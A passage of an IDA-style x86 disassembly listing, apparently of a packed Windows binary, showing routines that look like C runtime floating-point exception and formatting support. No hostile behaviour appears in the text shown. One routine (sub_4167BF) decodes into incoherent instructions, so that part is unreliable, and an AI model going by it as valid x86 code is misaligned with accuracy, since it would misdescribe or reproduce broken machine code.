loc_41611A:				; CODE XREF: sub_415FB9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_416124:				; CODE XREF: sub_415FB9+15Fj
		mov	[eax], ecx
		jmp	short loc_41612E
; ---------------------------------------------------------------------------


loc_416128:				; CODE XREF: sub_415FB9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41612E:				; CODE XREF: sub_415FB9+14Bj
					; sub_415FB9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_416159
		cmp	eax, 200h
		jz	short loc_41614C
		cmp	eax, ecx
		jnz	short loc_416166
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_416166
; ---------------------------------------------------------------------------


loc_41614C:				; CODE XREF: sub_415FB9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_416164
; ---------------------------------------------------------------------------


loc_416159:				; CODE XREF: sub_415FB9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_416164:				; CODE XREF: sub_415FB9+19Ej
		mov	[eax], ecx


loc_416166:				; CODE XREF: sub_415FB9+189j
					; sub_415FB9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4166E7
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_41D17C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4161E0
		and	dword ptr [esi], 0FFFFFFFEh


loc_4161E0:				; CODE XREF: sub_415FB9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4161E9
		and	dword ptr [esi], 0FFFFFFFBh


loc_4161E9:				; CODE XREF: sub_415FB9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4161F2
		and	dword ptr [esi], 0FFFFFFF7h


loc_4161F2:				; CODE XREF: sub_415FB9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4161FB
		and	dword ptr [esi], 0FFFFFFEFh


loc_4161FB:				; CODE XREF: sub_415FB9+23Dj
		test	[eax+8], bl
		jz	short loc_416203
		and	dword ptr [esi], 0FFFFFFDFh


loc_416203:				; CODE XREF: sub_415FB9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_416237
		dec	ecx
		jz	short loc_41622B
		dec	ecx
		jz	short loc_416221
		dec	ecx
		jnz	short loc_416239
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_416239
; ---------------------------------------------------------------------------


loc_416221:				; CODE XREF: sub_415FB9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_416233
; ---------------------------------------------------------------------------


loc_41622B:				; CODE XREF: sub_415FB9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_416233:				; CODE XREF: sub_415FB9+270j
		mov	[esi], ecx
		jmp	short loc_416239
; ---------------------------------------------------------------------------


loc_416237:				; CODE XREF: sub_415FB9+257j
		and	[esi], edx


loc_416239:				; CODE XREF: sub_415FB9+260j
					; sub_415FB9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_416259
		dec	ecx
		jz	short loc_416250
		dec	ecx
		jnz	short loc_416262
		and	[esi], edx
		jmp	short loc_416262
; ---------------------------------------------------------------------------


loc_416250:				; CODE XREF: sub_415FB9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_416260
; ---------------------------------------------------------------------------


loc_416259:				; CODE XREF: sub_415FB9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_416260:				; CODE XREF: sub_415FB9+29Ej
		mov	[esi], ecx


loc_416262:				; CODE XREF: sub_415FB9+291j
					; sub_415FB9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41626C	proc near		; CODE XREF: sub_415F21+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_416297
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_416297
		push	ebx
		call	sub_416719
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_416461
; ---------------------------------------------------------------------------


loc_416297:				; CODE XREF: sub_41626C+15j
					; sub_41626C+1Aj
		test	al, 4
		jz	short loc_4162B1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4162B1
		push	4
		call	sub_416719
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_416461
; ---------------------------------------------------------------------------


loc_4162B1:				; CODE XREF: sub_41626C+2Dj
					; sub_41626C+33j
		test	al, bl
		jz	loc_41638B
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41638B
		push	8
		call	sub_416719
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_416363
		cmp	ecx, 400h
		jz	short loc_41633B
		cmp	ecx, 800h
		jz	short loc_416313
		cmp	ecx, eax
		jnz	loc_416383
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41D7A8
		fld	dbl_4317B8
		fnstsw	ax
		sahf
		ja	short loc_41630B
		fchs


loc_41630B:				; CODE XREF: sub_41626C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_416381
; ---------------------------------------------------------------------------


loc_416313:				; CODE XREF: sub_41626C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41D7A8
		fnstsw	ax
		sahf
		jbe	short loc_41632B
		fld	dbl_4317A8
		jmp	short loc_416333
; ---------------------------------------------------------------------------


loc_41632B:				; CODE XREF: sub_41626C+B5j
		fld	dbl_4317B8
		fchs


loc_416333:				; CODE XREF: sub_41626C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_416381
; ---------------------------------------------------------------------------


loc_41633B:				; CODE XREF: sub_41626C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41D7A8
		fnstsw	ax
		sahf
		jbe	short loc_416353
		fld	dbl_4317B8
		jmp	short loc_41635B
; ---------------------------------------------------------------------------


loc_416353:				; CODE XREF: sub_41626C+DDj
		fld	dbl_4317A8
		fchs


loc_41635B:				; CODE XREF: sub_41626C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_416381
; ---------------------------------------------------------------------------


loc_416363:				; CODE XREF: sub_41626C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41D7A8
		fld	dbl_4317A8
		fnstsw	ax
		sahf
		ja	short loc_41637B
		fchs


loc_41637B:				; CODE XREF: sub_41626C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_416381:				; CODE XREF: sub_41626C+A5j
					; sub_41626C+CDj ...
		fstp	qword ptr [ecx]


loc_416383:				; CODE XREF: sub_41626C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_416461
; ---------------------------------------------------------------------------


loc_41638B:				; CODE XREF: sub_41626C+47j
					; sub_41626C+51j
		test	al, 2
		jz	loc_416461
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_416461
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4163A6
		mov	esi, ebx


loc_4163A6:				; CODE XREF: sub_41626C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_41D7A8
		fnstsw	ax
		sahf
		jz	loc_41644F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_416618
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4163F1
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_416445
; ---------------------------------------------------------------------------


loc_4163F1:				; CODE XREF: sub_41626C+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_41D7A8
		fnstsw	ax
		sahf
		jnb	short loc_416403
		mov	edx, ebx
		jmp	short loc_416405
; ---------------------------------------------------------------------------


loc_416403:				; CODE XREF: sub_41626C+191j
		xor	edx, edx


loc_416405:				; CODE XREF: sub_41626C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_416439
		sub	eax, ecx


loc_41641C:				; CODE XREF: sub_41626C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_416427
		test	esi, esi
		jnz	short loc_416427
		mov	esi, ebx


loc_416427:				; CODE XREF: sub_41626C+1B3j
					; sub_41626C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_416433
		or	byte ptr [ebp+var_C+3],	80h


loc_416433:				; CODE XREF: sub_41626C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41641C


loc_416439:				; CODE XREF: sub_41626C+1ACj
		test	edx, edx
		jz	short loc_416445
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_416445:				; CODE XREF: sub_41626C+183j
					; sub_41626C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_416451
; ---------------------------------------------------------------------------


loc_41644F:				; CODE XREF: sub_41626C+14Ej
		mov	esi, ebx


loc_416451:				; CODE XREF: sub_41626C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41645E
		push	10h
		call	sub_416719
		pop	ecx


loc_41645E:				; CODE XREF: sub_41626C+1E8j
		and	edi, 0FFFFFFFDh


loc_416461:				; CODE XREF: sub_41626C+26j
					; sub_41626C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_416478
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_416478
		push	20h
		call	sub_416719
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_416478:				; CODE XREF: sub_41626C+1F9j
					; sub_41626C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41626C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416483(int, int, int,	int, int, int, double, int)

sub_416483	proc near		; CODE XREF: sub_415ECE+2Bp
					; sub_415F21+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_416531
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4164EE
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4166F6
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41A0E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4164E8
		push	esi
		call	sub_41650B
		pop	ecx


loc_4164E8:				; CODE XREF: sub_416483+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4164EE:				; CODE XREF: sub_416483+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4166F6
		push	[ebp+arg_0]
		call	sub_41650B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_416483	endp


; =============== S U B	R O U T	I N E =======================================



sub_41650B	proc near		; CODE XREF: sub_415F21+7Dp
					; sub_416483+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_416526
		jle	short locret_416530
		cmp	eax, 3
		jg	short locret_416530
		mov	dword_462BC4, 22h
		retn
; ---------------------------------------------------------------------------


loc_416526:				; CODE XREF: sub_41650B+7j
		mov	dword_462BC4, 21h

locret_416530:				; CODE XREF: sub_41650B+9j
					; sub_41650B+Ej
		retn
sub_41650B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416531	proc near		; CODE XREF: sub_416483+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4316D0


loc_416538:				; CODE XREF: sub_416531+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41654E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_4317A8
		jl	short loc_416538
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41654E:				; CODE XREF: sub_416531+Dj
		mov	eax, off_4316D4[ecx*8]
		retn
sub_416531	endp


; =============== S U B	R O U T	I N E =======================================



sub_416556	proc near		; CODE XREF: sub_415F21+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_416562
		push	5
		jmp	short loc_416578
; ---------------------------------------------------------------------------


loc_416562:				; CODE XREF: sub_416556+6j
		test	al, 8
		jz	short loc_41656A
		push	1
		jmp	short loc_416578
; ---------------------------------------------------------------------------


loc_41656A:				; CODE XREF: sub_416556+Ej
		test	al, 4
		jz	short loc_416572
		push	2
		jmp	short loc_416578
; ---------------------------------------------------------------------------


loc_416572:				; CODE XREF: sub_416556+16j
		test	al, 1
		jz	short loc_41657A
		push	3


loc_416578:				; CODE XREF: sub_416556+Aj
					; sub_416556+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41657A:				; CODE XREF: sub_416556+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_416556	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416583(double)

sub_416583	proc near		; CODE XREF: sub_412842:loc_4128C8p
					; sub_41298B:loc_412A11p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_416583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416595(double, int)

sub_416595	proc near		; CODE XREF: sub_416618+82p
					; sub_416618+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_416595	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165BE	proc near		; CODE XREF: sub_412842+31p
					; sub_41298B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4165D5
		cmp	[ebp+arg_0], edx
		jnz	short loc_4165E7
		push	1
		jmp	short loc_416611
; ---------------------------------------------------------------------------


loc_4165D5:				; CODE XREF: sub_4165BE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4165E7
		cmp	[ebp+arg_0], edx
		jnz	short loc_4165E7
		push	2
		jmp	short loc_416611
; ---------------------------------------------------------------------------


loc_4165E7:				; CODE XREF: sub_4165BE+11j
					; sub_4165BE+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4165FA
		push	3
		jmp	short loc_416611
; ---------------------------------------------------------------------------


loc_4165FA:				; CODE XREF: sub_4165BE+36j
		cmp	cx, 7FF0h
		jnz	short loc_416614
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41660F
		cmp	[ebp+arg_0], edx
		jz	short loc_416614


loc_41660F:				; CODE XREF: sub_4165BE+4Aj
		push	4


loc_416611:				; CODE XREF: sub_4165BE+15j
					; sub_4165BE+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416614:				; CODE XREF: sub_4165BE+41j
					; sub_4165BE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4165BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416618(double, int)

sub_416618	proc near		; CODE XREF: sub_41626C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_41D7A8
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_416638
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4166CE
; ---------------------------------------------------------------------------


loc_416638:				; CODE XREF: sub_416618+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4166A7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_416650
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4166A7


loc_416650:				; CODE XREF: sub_416618+31j
		fld	[ebp+arg_0]
		fcomp	dbl_41D7A8
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_416668
		push	1
		pop	eax
		jmp	short loc_41666A
; ---------------------------------------------------------------------------


loc_416668:				; CODE XREF: sub_416618+49j
		xor	eax, eax


loc_41666A:				; CODE XREF: sub_416618+4Ej
					; sub_416618+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_416683
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41667D
		or	dword ptr [ebp+arg_0+4], 1


loc_41667D:				; CODE XREF: sub_416618+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41666A
; ---------------------------------------------------------------------------


loc_416683:				; CODE XREF: sub_416618+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_416691
		or	byte ptr [ebp+arg_0+7],	80h


loc_416691:				; CODE XREF: sub_416618+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_416595
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4166CE
; ---------------------------------------------------------------------------


loc_4166A7:				; CODE XREF: sub_416618+28j
					; sub_416618+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_416595
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4166CE:				; CODE XREF: sub_416618+1Bj
					; sub_416618+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_416618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166D9	proc near		; CODE XREF: sub_415FB9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4166D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166E7	proc near		; CODE XREF: sub_415FB9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4166E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166F6	proc near		; CODE XREF: sub_412842+13p
					; sub_412842+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4166F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416719	proc near		; CODE XREF: sub_41626C+1Dp
					; sub_41626C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_416730
		fld	tbyte_4317D0
		fistp	[ebp+arg_0]
		wait


loc_416730:				; CODE XREF: sub_416719+Bj
		test	cl, 8
		jz	short loc_416745
		fstsw	ax
		fld	tbyte_4317D0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_416745:				; CODE XREF: sub_416719+1Aj
		test	cl, 10h
		jz	short loc_416754
		fld	tbyte_4317DC
		fstp	[ebp+var_8]
		wait


loc_416754:				; CODE XREF: sub_416719+2Fj
		test	cl, 4
		jz	short loc_416762
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_416762:				; CODE XREF: sub_416719+3Ej
		test	cl, 20h
		jz	short locret_41676D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41676D:				; CODE XREF: sub_416719+4Cj
		leave
		retn
sub_416719	endp


; =============== S U B	R O U T	I N E =======================================



sub_41676F	proc near		; CODE XREF: sub_412911+Fp
		push	30000h
		push	10000h
		call	sub_41A118
		pop	ecx
		pop	ecx
		retn
sub_41676F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416781	proc near		; CODE XREF: sub_4167BF:loc_4167E3j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_41D7B8
		fstp	[ebp+var_8]
		fld	dbl_41D7B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_41D668
		fnstsw	ax
		sahf
		jbe	short loc_4167BB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4167BB:				; CODE XREF: sub_416781+33j
		xor	eax, eax
		leave
		retn
sub_416781	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167BF	proc near		; CODE XREF: sub_412911+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0AB0000h
		rol	dword ptr [ebp+681574C0h], cl
		rcl	bh, 41h
		add	[eax-1], dl
		adc	eax, offset dword_41D0B4
		test	eax, eax
		jz	short loc_4167E3
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_4167E3:				; CODE XREF: sub_4167BF+1Dj
		jmp	sub_416781
sub_4167BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167E8	proc near		; DATA XREF: sub_412929+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_413A37
		cmp	eax, 65h
		pop	ecx
		jz	short loc_416828


loc_4167FC:				; CODE XREF: sub_4167E8+3Ej
		inc	esi
		cmp	dword_4316BC, 1
		jle	short loc_416815
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_416824
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_4167E8+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4314B0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_416824:				; CODE XREF: sub_4167E8+2Bj
		test	eax, eax
		jnz	short loc_4167FC


loc_416828:				; CODE XREF: sub_4167E8+12j
		mov	cl, byte_4316C0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_416833:				; CODE XREF: sub_4167E8+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_416833
		pop	esi
		retn
sub_4167E8	endp

; ---------------------------------------------------------------------------


loc_416842:				; DATA XREF: sub_412929+5o
		mov	eax, [esp+4]
		mov	dl, byte_4316C0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41685E


loc_416852:				; CODE XREF: .nsp0:0041685Cj
		cmp	cl, dl
		jz	short loc_41685E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_416852


loc_41685E:				; CODE XREF: .nsp0:00416850j
					; .nsp0:00416854j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41688F


loc_416865:				; CODE XREF: .nsp0:00416876j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_416878
		cmp	cl, 65h
		jz	short loc_416878
		cmp	cl, 45h
		jz	short loc_416878
		inc	eax
		jmp	short loc_416865
; ---------------------------------------------------------------------------


loc_416878:				; CODE XREF: .nsp0:00416869j
					; .nsp0:0041686Ej ...
		mov	ecx, eax


loc_41687A:				; CODE XREF: .nsp0:0041687Ej
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41687A
		cmp	[eax], dl
		jnz	short loc_416885
		dec	eax


loc_416885:				; CODE XREF: .nsp0:00416882j
					; .nsp0:0041688Dj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_416885

locret_41688F:				; CODE XREF: .nsp0:00416863j
		retn
; ---------------------------------------------------------------------------


loc_416890:				; DATA XREF: sub_412929+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	dbl_41D7A8
		fnstsw	ax
		sahf
		jb	short loc_4168A5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4168A5:				; CODE XREF: .nsp0:0041689Fj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168A8	proc near		; DATA XREF: sub_412929+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4168D1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41A5DB
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4168D1:				; CODE XREF: sub_4168A8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A608
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
